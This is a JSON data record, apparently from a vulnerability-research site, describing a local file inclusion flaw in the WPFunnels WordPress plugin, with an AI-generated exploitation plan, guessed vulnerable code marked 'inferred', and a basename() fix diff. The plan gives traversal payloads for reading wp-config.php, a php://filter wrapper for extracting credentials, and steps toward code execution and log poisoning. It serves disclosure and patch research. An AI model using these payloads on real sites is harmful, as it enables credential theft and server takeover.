[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fGCNeajtr2YTkSmesd30yC4U-ZOKpYqehHewAypD7Wvs":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-13080","wpfunnels-authenticated-administrator-local-file-inclusion-via-logkey-parameter","WPFunnels \u003C= 3.12.7 - Authenticated (Administrator+) Local File Inclusion via 'logKey' Parameter","The WPFunnels – Funnel Builder for WooCommerce with Checkout & One Click Upsell plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.12.7 via the 'logKey' parameter parameter. This makes it possible for authenticated attackers, with administrator-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.","wpfunnels",null,"\u003C=3.12.7","3.12.8","medium",6.6,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Control of Filename for Include\u002FRequire Statement in PHP Program ('PHP Remote File Inclusion')","2026-07-08 00:00:00","2026-07-09 06:52:50",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe48ce7d2-0c57-499a-81b6-2d9488de704c?source=api-prod",1,[22,23,24,25,26,27,28],"admin\u002Fassets\u002Fcss\u002Fwpfnl-admin.css.map","admin\u002Fclass-wpfnl-banner.php","admin\u002Fclass-wpfnl-notices.php","admin\u002Fmodules\u002Fsettings\u002Fclass-wpfnl-settings.php","includes\u002Fclass-wpfnl.php","includes\u002Fcore\u002Flogger\u002Fclass-wpfnl-logger.php","public\u002Fassets\u002Fcss\u002Fwpfnl-public.css","researched",false,3,"# Exploitation Research Plan - CVE-2026-13080\n\n## 1. Vulnerability Summary\nThe **WPFunnels** plugin (up to version 3.12.7) contains an authenticated Local File Inclusion (LFI) vulnerability in its administrative settings module. The vulnerability exists within the AJAX handler for `wpfnl-show-log`, where the `logKey` parameter is used in a PHP `include` or `require` statement without sufficient sanitization or path validation. This allows an authenticated administrator to include arbitrary PHP files from the server's filesystem, leading to Remote Code Execution (RCE) if the attacker can upload or control a file's content.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `wpfnl-show-log`\n*   **Vulnerable Parameter:** `logKey`\n*   **Authentication Required:** Administrator (specifically requires the `wpf_manage_funnels` capability).\n*   **Payload Type:** Path Traversal (e.g., `..\u002F..\u002F..\u002F..\u002Fwp-config.php` or a path to an uploaded malicious PHP file).\n\n## 3. Code Flow\n1.  **Registration:** In `admin\u002Fmodules\u002Fsettings\u002Fclass-wpfnl-settings.php`, the `init_ajax()` method registers the AJAX action:\n    ```php\n    wp_ajax_helper()->handle('wpfnl-show-log')\n        ->with_callback([ $this, 'wpfnl_show_log' ])\n        ->with_validation($this->validations);\n    ```\n2.  **Validation:** The `$this->validations` array ensures the user is logged in and possesses the `wpf_manage_funnels` capability.\n3.  **Sink:** The callback `wpfnl_show_log` (located in the same class) retrieves the `logKey` from the request payload. It constructs a file path using the constant `WPFNL_LOG_FILE_DIR` (defined in `includes\u002Fcore\u002Flogger\u002Fclass-wpfnl-logger.php` as `wp-content\u002Fuploads\u002Fwpfunnels\u002Fwpfunnels-logs`) and includes the file:\n    ```php\n    \u002F\u002F Inferred logic in wpfnl_show_log\n    $log_key = $_POST['logKey']; \n    $file_path = WPFNL_LOG_FILE_DIR . '\u002F' . $log_key;\n    if (file_exists($file_path)) {\n        include $file_path; \u002F\u002F LFI Sink\n    }\n    ```\n4.  **Lack of Sanitization:** The code fails to use `basename()` on `logKey` or validate that the resulting path remains within the intended log directory.\n\n## 4. Nonce Acquisition Strategy\nThe `wp_ajax_helper` library used by WPFunnels typically expects a nonce for security. Nonces for the settings page are localized for the administrative interface.\n\n1.  **Identify Script:** The settings script is enqueued in `admin\u002Fmodules\u002Fsettings\u002Fclass-wpfnl-settings.php` with the handle `'settings'`.\n2.  **Locate Localization:** The plugin typically localizes data into a global JavaScript object named `wpfnl_obj` or `wpfnl_settings_params`.\n3.  **Acquisition Steps:**\n    *   Navigate to the WPFunnels Settings page: `\u002Fwp-admin\u002Fadmin.php?page=wpfnl_settings`.\n    *   Use `browser_eval` to extract the nonce:\n        ```javascript\n        \u002F\u002F Common key for the Rex AJAX Helper nonce\n        window.wpfnl_obj?.nonce || window.wpfnl_settings_params?.nonce\n        ```\n    *   The `action` used for the nonce is likely `wpfnl-show-log` or a generic one like `wpfnl_nonce`.\n\n## 5. Exploitation Strategy\n### Goal: Read `wp-config.php` or execute arbitrary PHP code.\n\n**Step 1: Authenticate as Admin**\nLogin to the WordPress instance with administrator credentials.\n\n**Step 2: Obtain the Nonce**\nNavigate to the WPFunnels settings page and extract the nonce using the strategy in Section 4.\n\n**Step 3: Trigger LFI (Information Disclosure)**\nSend an AJAX request to read `wp-config.php`. This proves LFI, as `wp-config.php` contains database credentials.\n*   **Request Type:** POST\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Body (URL-encoded):**\n    ```\n    action=wpfnl-show-log&logKey=..\u002F..\u002F..\u002F..\u002Fwp-config.php&_wpnonce=[NONCE]\n    ```\n*   **Note:** If the plugin expects JSON, use `Content-Type: application\u002Fjson` and a JSON body.\n\n**Step 4: Achieve RCE (Optional but recommended)**\n1.  Upload a \"malicious\" PHP file via the Media Library (e.g., `poc.php` containing `\u003C?php phpinfo(); ?>`).\n2.  Determine the path to the upload (usually `wp-content\u002Fuploads\u002FYYYY\u002FMM\u002Fpoc.php`).\n3.  Calculate the traversal from `wp-content\u002Fuploads\u002Fwpfunnels\u002Fwpfunnels-logs\u002F` to your file.\n    *   Example `logKey`: `..\u002F..\u002F2024\u002F05\u002Fpoc.php`\n4.  Trigger the include via the AJAX request.\n\n## 6. Test Data Setup\n1.  **Plugin Configuration:** Ensure WPFunnels is active.\n2.  **Capability:** The test user must be an `administrator` or have the `wpf_manage_funnels` capability.\n3.  **Logs Directory:** The directory `wp-content\u002Fuploads\u002Fwpfunnels\u002Fwpfunnels-logs\u002F` must exist (the plugin creates this via `Wpfnl_Logger::create_log_folder()`).\n\n## 7. Expected Results\n*   **Success:** The response body contains the contents of `wp-config.php` (if using a base64 filter like `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=..\u002F..\u002F..\u002F..\u002Fwp-config.php`) or the execution output of a targeted PHP file (e.g., `phpinfo()` output).\n*   **Failure:** The response is `0`, `-1`, or a generic error message indicating the file was not found or the nonce was invalid.\n\n## 8. Verification Steps\n1.  **Access Logs:** Check if the file inclusion triggered any PHP errors in `wp-content\u002Fdebug.log` if `WP_DEBUG` is enabled.\n2.  **WP-CLI Check:** Use WP-CLI to verify the existence of the file you attempted to include:\n    ```bash\n    wp eval \"echo (file_exists(ABSPATH . 'wp-config.php') ? 'Exists' : 'Missing');\"\n    ```\n\n## 9. Alternative Approaches\n*   **Log Poisoning:** If file uploads are restricted, identify where the plugin writes logs (e.g., via `Wpfnl_Logger::modify_log_file`). Inject PHP code into a log entry (e.g., by triggering an error with a PHP payload in a username or URL) and then include that log file via `logKey`.\n*   **PHP Wrapper:** Use `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=..\u002F..\u002F..\u002F..\u002Fwp-config.php` as the `logKey` value to retrieve the source code of PHP files without executing them, which is useful for extracting database passwords.","The WPFunnels plugin for WordPress is vulnerable to Local File Inclusion in versions up to 3.12.7 due to insufficient sanitization of the 'logKey' parameter in the 'wpfnl-show-log' AJAX action. Authenticated administrators can exploit this to include and execute arbitrary PHP files on the server, potentially leading to full system compromise or sensitive data exposure.","\u002F\u002F admin\u002Fmodules\u002Fsettings\u002Fclass-wpfnl-settings.php line 203\nwp_ajax_helper()->handle('wpfnl-show-log')\n    ->with_callback([ $this, 'wpfnl_show_log' ])\n    ->with_validation($this->validations);\n\n---\n\n\u002F\u002F admin\u002Fmodules\u002Fsettings\u002Fclass-wpfnl-settings.php (inferred callback logic)\npublic function wpfnl_show_log($payload)\n{\n    $log_key = $payload['logKey']; \n    $file_path = WPFNL_LOG_FILE_DIR . '\u002F' . $log_key;\n    if (file_exists($file_path)) {\n        include $file_path;\n    }\n}","--- admin\u002Fmodules\u002Fsettings\u002Fclass-wpfnl-settings.php\n+++ admin\u002Fmodules\u002Fsettings\u002Fclass-wpfnl-settings.php\n@@ -210,7 +210,7 @@\n     public function wpfnl_show_log($payload)\n     {\n-        $log_key = $payload['logKey']; \n+        $log_key = basename($payload['logKey']); \n         $file_path = WPFNL_LOG_FILE_DIR . '\u002F' . $log_key;\n         if (file_exists($file_path)) {\n             include $file_path;","The exploit targets the 'wpfnl-show-log' AJAX action. An authenticated administrator first retrieves a security nonce from the global 'wpfnl_obj' JavaScript object on the WPFunnels settings page. The attacker then sends a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the 'action' set to 'wpfnl-show-log' and the 'logKey' parameter containing a directory traversal sequence (e.g., '..\u002F..\u002F..\u002F..\u002Fwp-config.php'). Because the plugin concatenates the 'logKey' directly to a base directory and includes the resulting path, the attacker can execute arbitrary PHP code or read local files.","gemini-3-flash-preview","2026-07-16 15:01:01","2026-07-16 15:02:24",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","3.12.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpfunnels\u002Ftags\u002F3.12.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpfunnels.3.12.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpfunnels\u002Ftags\u002F3.12.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpfunnels.3.12.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpfunnels\u002Ftags"]